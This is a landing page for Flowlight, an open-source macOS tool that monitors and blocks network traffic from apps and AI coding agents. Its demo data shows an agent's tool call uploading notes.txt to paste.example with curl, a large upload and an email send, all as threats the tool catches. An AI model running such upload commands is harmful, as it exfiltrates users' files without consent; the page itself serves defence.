See your apps' network activity.Understand your AI agents.

Application-aware network intelligence · macOS 15+

See your apps' network activity.

Flowlight shows which applications connect, where they go and how much data they move. For AI agents, it traces tools, MCP servers and destinations—so unfamiliar hosts, sensitive channels and unusual uploads stand out.

Download for macOS Star on GitHub

`brew install --cask xinbetween/tap/flowlight`Copy

v0.9.4macOS 15+UniversalGPL-3.0No telemetry

connectionslive

1. claudeapi.anthropic.com · https:443↑ 1.4 MB 2. ↳ Bash: curl -s paste.example/up -d @notes.txt 3. claude › curlpaste.example · https:443refused ⛔ rule “Claude Code can't reach paste.example” 4. Chromewww.youtube.com · quic:443↓ 9.2 MB 5. codexuploads.paste.example · https:443↑ 180 MB ⚠ exfiltration: 180 MB to non-AI hosts in 1 h 6. sharingdAirDrop · nearby device · awdl0↑ 4.1 GB 7. claudeapi.anthropic.com · tools/list−3 tools 🛡 guardrail: Bash, Write, Edit never offered 8. Slackwss-primary.slack.com · websocket↓ 120 KB 9. claudesmtp.relay.example · smtp:587↑ 2.4 MB ⚠ agent used email (SMTP submission) 10. Cursorapi2.cursor.sh · POST /v1/chat503 ✎ answered by Flowlight, never sent upstream

The AI Agents view: each agent's model provider, and everything else it talked to. Shown with demo data.

When to reach for Flowlight

Questions it answers in seconds

AI Agents

An agent is running while you're in a meeting

See every host it and its tools touched besides its model provider, and get an alert if it leaves its allowlist, sends email or uploads 100 MB somewhere new.

Reports

Your upload spiked and you don't know why

Hover the spike to see the app behind it, click to zoom from the hour to the minute, and follow it to the exact domain and IP.

Alerts

A new app started phoning home

First contact with a new domain, a non-standard port or a traffic spike each raise an alert that names the app and the number that tripped it.

Live

Something is saturating your connection right now

Top talkers updated every second, with the busiest destination for each app, and live rates in your menu bar.

Reports

Your hotspot data vanished this month

Switch to the month view and group by app. The biggest consumer is the top row, with CSV export if you need receipts.

Reports · Destination

You need to audit where data goes

Group by destination to see every app that talks to a domain, or by IP to see what sits behind an address.

Inside the app

Eight views, one question each

Live

What's moving right now? Per-app rates, the last two minutes, the busiest destination.

⌘1

AI Agents

What are my agents doing besides calling their model? Providers, other hosts, risk badges.

⌘2

Reports

Where did it all go? Second to year, grouped by app, destination or IP, with charts and CSV.

⌘3

Alerts

What looked wrong? Explainable, per-app alerts with the destination and the threshold.

⌘4

Rules

What have I refused, and is it happening? Every rule, what each has blocked, and a feed of every decision.

⌘5

Ask

Questions in plain language, answered from the history — with every query it ran listed underneath.

⌘7

Devices

Bluetooth and USB: what's paired, what's attached, and when that changed. Off until you turn it on.

⌘8

Inspect

Optional. What did the agent actually send, and which tool call made it? Decrypted requests, tool calls, results.

⌘6

Capture

Application-aware network visibility

Flowlight attributes observed TCP and UDP activity to applications and records destinations, protocols, and byte counts locally. Coverage depends on the selected capture source and available hostname information.

Per application

Applications, command-line tools and background services attributed by process, including recognized agent child processes.

Resolved hostnames

Learned from observed TLS server names and DNS responses. When no hostname is available, Flowlight can optionally identify the network owner.

1 s → 1 year

Zoom from second to year. Group by app, by destination or by IP. Hover a spike to see the app behind it.

AI Agent Watch

Monitor how AI agents use the network

Flowlight recognizes 16 agents by name and classifies other processes that contact one of 27 known LLM API providers. Browser traffic is excluded from automatic agent classification.

Claude CodeCodexCursor WindsurfGitHub CopilotGemini CLI AiderGooseOpenCode OllamaLM StudioChatGPT ClaudeZedPerplexityZCode \+ anything that calls an LLM API

⚠ Critical

Allowlist violation

"Claude Code may talk to GitHub and npm, nothing else." Add domains, IPs or ranges, or start from a preset. Anything else raises an alert, with one-click Allow — and, when you ask it to, the Network Extension refuses the connection instead of only reporting it.

Claude Code › curl contacted paste.example:443, which isn't on Claude Code's allowlist

⛔ Refuses

Rules, for as long as you say

Name an app, an agent, a destination or a single URL and block it — right-click the row you spotted it in. Forever, until a time, until Flowlight quits, or between chosen hours, with one pause switch and a way out on every refusal. The most specific rule wins, and a tie goes to the block. It is control over software you already trust, not a barrier against software you don't — see the threat model.

Cursor ⇥ raw.githubusercontent.com · refused 4 times · weekdays 18:00–09:00

⛔ Refuses

Guardrails on an agent's tools

Block an MCP server, one of its tools, or one resource. A refused tool is removed from the list the agent sends its model, so the model is never offered it — no refusal to argue with, no retry loop. It needs HTTPS inspection, and it is not a sandbox: Flowlight says so rather than implying otherwise.

Claude Code: no Bash, no write\* · 12 tools taken out of today's declarations

↳ Attribution

Tools & MCP servers

The curl, git or npm an agent's shell tool runs, and the MCP servers it starts, count as the agent's traffic, named from its own MCP config.

api.github.com · via github MCP · paste.example · via curl

⌕ Opt-in

Tool calls, from the model's own responses

For supported providers and applications routed through HTTPS inspection, Flowlight can record declared tools, model-requested tool calls and returned results, then correlate a tool's network requests with the originating call.

curl → paste.example:443 ← Bash: curl -s https://paste.example/up -d @notes.txt

⌕ On disk

What each agent is set up to do

With your say-so, Flowlight reads the agent's own configuration: skills, subagents, slash commands, hooks, permission rules and MCP servers. Names only, never your code, and nothing leaves the Mac.

Notification hook → curl -s -d … https://ntfy.sh/… · allow: Bash(curl:\*)

⚠ Critical

Sensitive channel

The agent sends email, transfers files, opens SSH or remote desktop, goes through a tunnel or proxy, or talks to a database.

Claude Code used SMTP-SUBMISSION to smtp.relay.example:587, 2.4 MB sent

⚠ Critical

Possible exfiltration

More than 100 MB an hour goes to hosts that aren't AI providers.

Codex uploaded 180 MB to non-AI hosts in the last hour: uploads.paste.example

▲ Warning

Unnamed host

A connection to a bare IP address with no hostname, on an unusual port.

python3 connected to 203.0.113.45:4444 (tcp) with no hostname

▲ Warning

Active while you're away

Data keeps moving after 15 minutes without keyboard or mouse input.

Codex moved 48 MB in the last minute while you were away (no input for 37 min)

ⓘ Info

New destination, sooner

Agents get a 1-hour learning period before new-domain alerts start (24 hours for other apps). Every threshold is adjustable.

Coverage

108 protocols, named in 13 families

Recognized by port and by the first bytes on the wire (TLS handshakes, HTTP methods, mail and SSH greetings, SOCKS requests). Families marked egress channel are the ones the agent rules watch.

HTTPHTTPSHTTP/2QUIC · HTTP/3WebSocketTLSHTTP proxy

SMTPSubmission 587SMTPSIMAPIMAPSPOP3POP3S

FTPFTPSTFTPSFTPSMBAFPNFSrsyncgitsvn

SSHRDPVNCTelnetTeamViewer

WireGuardOpenVPNIPsecL2TPPPTPTailscaleSOCKS5Tor

PostgresMySQLSQL ServerOracleRedisMongoDBCassandraElasticsearchMemcached

BitTorrent

DNSDNS over TLSDNS over HTTPSDNS over QUICmDNSLLMNRNetBIOSWHOIS

MQTTAMQPKafkaNATSXMPPIRCNNTP

SIPSIPSSTUNRTSPZoom media

NTPDHCPSNMPSyslogSSDPKerberosLDAPIPPBGP

APNsFCMDockerKubernetesOllama

With the Network Extension enabled, Flowlight observes eligible TCP and UDP flows. ICMP, other raw-IP protocols and some system traffic are outside this coverage. Encrypted payloads remain encrypted unless an application is explicitly routed through HTTPS inspection.

How it compares

Built for the question the other tools skip

Flowlight watches and explains, and — once you ask it to — refuses: a destination, a URL, or a tool an agent should not have.

| | Flowlight | Activity Monitor | Firewallse.g. Little Snitch, LuLu | Packet analyzerse.g. Wireshark | | --------------------------------------------- | ------------------------------- | ---------------- | --------------------------------- | ------------------------------ | | Which app sent it | Yes | Yes | Yes | No | | Which domain it went to | Yes, from SNI and DNS | No | Yes | Yes, per packet | | History from second to year | Yes | No | Varies | Capture files | | Rules for AI agents | Yes | No | No | No | | An agent's tool calls, tied to its traffic | Yes, opt-in | No | No | No | | Blocks connections | Yes, with the Network Extension | No | Yes | No | | Blocks an agent's tools, not just its traffic | Yes, opt-in | No | No | No | | Free and open source | Yes, GPL-3.0 | Built in | Varies | Yes |

Why Flowlight exists

Your tools now make their own decisions. You should be able to see where your data goes when they do.

Coding agents read your files, run commands and call tools, and any of those tools can open a socket. In September 2026, an AI coding app was found packaging users' whole workspaces, Git history included, and uploading them in the background. The researcher who caught it only noticed because a cache folder was eating disk space.

The uploads were encrypted, but the facts that mattered weren't: which app, which host, how many megabytes, and when. macOS already knows all of that. Flowlight puts it on screen, keeps the history, and flags what doesn't look right.

Read the full story →

HTTPS inspection · optional

Correlate supported tool calls with network requests

Off by default. Turn it on and Flowlight becomes a local proxy with its own certificate authority, created on your Mac. Start an agent from an inspected Terminal and supported HTTP traffic from the agent and its tools is decrypted, with tool calls the model asked for and the results that went back.

Where did my notes go? curl's upload to paste.example, traced to the Bash command the model asked for, with the body it sent.

Every tool an agent offers the model. Agents declare their tools on each turn, so Flowlight lists them all, with the ones the model actually used and the ones it never touched.

Including the ones you can't see on the wire. When an agent asks the provider to connect to an MCP server, that traffic never reaches your Mac. Its request does, so the server, its URL, its approval setting and its tools still show up.

Tool calls and results

Anthropic, OpenAI, Gemini and MCP. Each call with its command, its output or error, and the requests its tool made.

Models and tokens

Which model answered, how many calls, and tokens in, out and served from cache, per agent.

Readable bodies

JSON as a collapsible tree in its original order, streams one event at a time, headers and raw view.

Explicitly controlled

Inspection targets AI agents by default. Flowlight excludes its built-in list of Apple services and password managers, redacts credential headers before storage, and provides one action to remove the certificate and recorded data.

Next

What's coming

Flowlight watches, explains and refuses today — monitoring rather than prevention, as the threat model sets out. This is the order the rest is being built in.

What leaves the Mac, before it leaves 0.9.5

Before the first row reaches a collector: the destination, whether it's encrypted, which fields travel and whether any are headers — the disclosure Flowlight demands of everything else, applied to itself.

What an agent did off the network 1.0

A file leaving is a read and then a send, and only the send is visible today. Recording what an agent's tools opened, wrote and spawned would make read the private key, then talked to paste.example one finding instead of two screens. Not a resource monitor: CPU and memory are Activity Monitor's job. Needs Apple's EndpointSecurity entitlement, and needs the inspection budget above to exist first.

Linux, then Windows

The analysis core is portable Swift; capture isn't. A Linux daemon with a local web UI comes first, on eBPF rather than macOS APIs.

Privacy

A monitor you don't have to monitor

Stays on your Mac

One local SQLite file. No account, no cloud sync, no telemetry.

Metadata by default

Hostnames, ports and byte counts. Decrypting HTTPS is a separate mode you have to turn on, and it stays on your Mac.

Filtered in the kernel

Capture passes only DNS answers and TLS ClientHellos. Everything else is dropped before Flowlight sees it.

Lookups you control

Naming who owns an address sends only public IPs with no hostname to Team Cymru, and turns off in one click. The daily update check only asks GitHub for the latest version, and can be turned off too.

One agent, every tool call. Traffic from the git, curl and MCP servers Claude Code started counts as Claude Code's. With HTTPS inspection on, the Tool calls tab shows what the model asked for, what came back, and the requests each tool made: the curl upload to paste.example, and the git push that failed.

Reports. Second-to-year zoom, three groupings, charts that stay readable with hundreds of apps.

Alerts. Each one names the app, the destination and the number that tripped it.

Install

Running in under a minute

1. Download Flowlight.dmg Open it and drag Flowlight into Applications. A .pkg installer is also available with each release. Releases are signed with a Developer ID certificate and notarized by Apple. 2. Launch it Traffic appears within a second, and live ↓↑ rates sit in your menu bar. 3. Name your traffic Approve the one-time setup (your password, once) so Flowlight can read hostnames.

Prefer to build it yourself, or look around with sample data first?

build from source (Xcode 16+, no Apple account needed)

explore with 90 days of synthetic traffic

FAQ

Questions

Does Flowlight block traffic?

By default it watches and alerts, including when an agent leaves its allowlist. It can also refuse those connections, but only for an agent you have turned that on for, and only with the Network Extension engine installed — the sampler can only watch. Local traffic, DNS, Apple services and Flowlight's own connections are never refused.

Can it read my HTTPS traffic?

Not by default. It reads the hostname a client asks for when it opens a connection (TLS SNI) and the DNS answers that map names to addresses, and contents stay encrypted. If you want the full picture, HTTPS inspection is a separate, opt-in mode: Flowlight becomes a local proxy with its own certificate authority and decrypts the apps you route through it (AI agents only, by default), including every tool call a model asks an agent to run. Apps that pin their certificates may reject it. Flowlight excludes its built-in list of Apple services and password managers from inspection.

How is this different from Little Snitch or LuLu?

Those are firewalls that ask you to allow connections. Flowlight is an analytics tool: history at any zoom, anomaly baselines, and rules built for AI agents. They work well side by side.

Why does it ask for my password?

macOS only lets administrators read network packets. The one-time setup gives your account read access, the same way Wireshark does. You can remove it any time from the Capture screen.

Can it tell which MCP server or tool made a request?

Yes, at the process level. Flowlight follows each process back to the agent that started it, so a shell tool's curl or an MCP server's connections are attributed to that agent, and MCP servers are named from Claude Code, Claude Desktop, Cursor, Windsurf, VS Code, Codex, Zed and Gemini CLI configs. It can't see which individual tool call inside a long-running server opened a connection.

Does an allowlist block traffic?

An allowlist reports violations by default. When the Network Extension is active, you can enable enforcement for an agent so unlisted destinations are refused. The nettop sampler can report violations but cannot block connections.

Which agents does it recognize?

Claude Code, Codex, Cursor, Windsurf, GitHub Copilot, Gemini CLI, Aider, Goose, OpenCode, Ollama, LM Studio, ChatGPT, Claude, Zed, Perplexity and ZCode, plus any non-browser process that calls a known LLM API. Adding one is a one-line pull request.

How does it update?

Once a day Flowlight asks GitHub for the latest release. When there's one, it shows the notes and can download the disk image, verify it against the published SHA-256 and open it. You can turn the check off in Settings.

Is it really free?

Yes. It's free software under the GPL-3.0: no paid tier, no data collection.

Know what leaves your Mac.

Free software for macOS 15 and later.

Download for macOS View source

`brew install --cask xinbetween/tap/flowlight`Copy